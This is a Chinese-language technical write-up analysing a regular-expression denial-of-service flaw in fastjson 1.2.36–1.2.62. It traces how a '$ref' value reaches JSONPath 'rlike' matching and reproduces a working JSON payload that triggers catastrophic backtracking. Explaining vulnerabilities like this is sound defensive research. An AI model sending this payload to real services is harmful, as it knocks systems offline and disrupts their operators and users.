fastjson 正则拒绝服务简单分析
无意翻到b1ue大佬挖 fastjson 的拒绝服务漏洞的文章,于是跟了一下漏洞原理和触发流程,按照自己的理解简单地从结果出发开始分析。
以下复现均是在1.2.62,漏洞影响范围 1.2.36~1.2.62
漏洞缘由
首先要说明的这是一个正则DOS引起的拒绝服务,最根本的原理如下
String p = "^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$"; String strPropertyValue = "aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"; Pattern pattern = Pattern.compile(p); Matcher m = pattern.matcher(strPropertyValue); boolean match = m.matches();
接着看一下 fastjson 中如何使用到正则,fastjson 1.2.0 之后的版本支持 JSONPath ,可以在java框架中当作对象查询语言(OQL)来使用。
Object body = JSONPath.eval("{\"html\": {\"body\": \"bob\"}}" "$.html['body']"); System.out.println(body); //result: bob
JSONPath 匹配中可使用正则表达式,看到官方文档有如下说明:
[key like 'aa%'] | 字符串类型like过滤, 例如$.departs[name like 'sz*'],通配符只支持% 支持not like |
[key rlike 'regexpr'] | 字符串类型正则匹配过滤, 例如departs[name like 'aa(.)*'], 正则语法为jdk的正则语法,支持not rlike |
因此如果传入的正则表达式可控可能会导致拒绝服务
Object result = JSONPath.eval("{\"dos\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!\"}" "[dos rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"); System.out.println(result);
JSON.parse 到 JSONPath.eval
如果是使用了 JSONPath 的 rlike 实现正则表达式的匹配,那么只要正则表达式可控就直接导致拒绝服务。但是现实项目业务逻辑中很少会直接使用 JSONPath 这个模块,更别说传入的正则表达式可控了。因此需要在常规的JSON.parse 中找到一个JSONPath的调用链。
String json = ""; Object parse = JSON.parse(json);
JSON#parse函数里主要涉及三个函数,DefaultJSONParser初始化会把整个字符串进行JSON对象的转换,而parse会进入 DefaultJSONParser#parseObject
处理JSON对象。
DefaultJSONParser parser = new DefaultJSONParser(text config features); Object value = parser.parse(); parser.handleResovleTask(value);
DefaultJSONParser.java
中搜索关键词 JSONPath.eval
DefaultJSONParser#handleResovleTask
函数中调用了 JSONPath.eval(value ref)
value 参数是参数传入的,ref 是从 resolveTaskList 中获取,与此相关的是比较重要的就是 addResolveTask
DefaultJSONParser#parseObject
399行
key == "$ref" 、ref 不等于"@"、".."、"$"
直接进入了这个 else
分支, ref原封不动的装进了ResolveTask。
再回过去看到第一个图片,ref 第一个字符需要为 $
if (ref.startsWith("$")) { refValue = getObject(ref); if (refValue == null) { try { refValue = JSONPath.eval(value ref); } catch (JSONPathException ex) { // skip } } }
到这里已经可以推出payload(出自b1ue)
{ "regex":{ "$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']" } "blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!" }
JSONPath.eval 到 Matcher.matches
从 matches 出发找到触发点 JSONPath#RlikeSegement
apply方法
Path
字符串是否有 rlike
的OP值
Filter filter = null; if (op == Operator.RLIKE) { filter = new RlikeSegement(propertyName strValue false); } else if (op == Operator.NOT_RLIKE) { filter = new RlikeSegement(propertyName strValue true);
回过头来看一下 JSONPath.eval()
的具体流程
FilterSegment#eval
,可以看到这里调用了 filter.apply
对应了 RlikeSegement#apply
参考文章
https://b1ue.cn/archives/314.html
https://github.com/alibaba/fastjson/wiki/JSONPath
https://www.cnblogs.com/exmyth/p/9839363.html
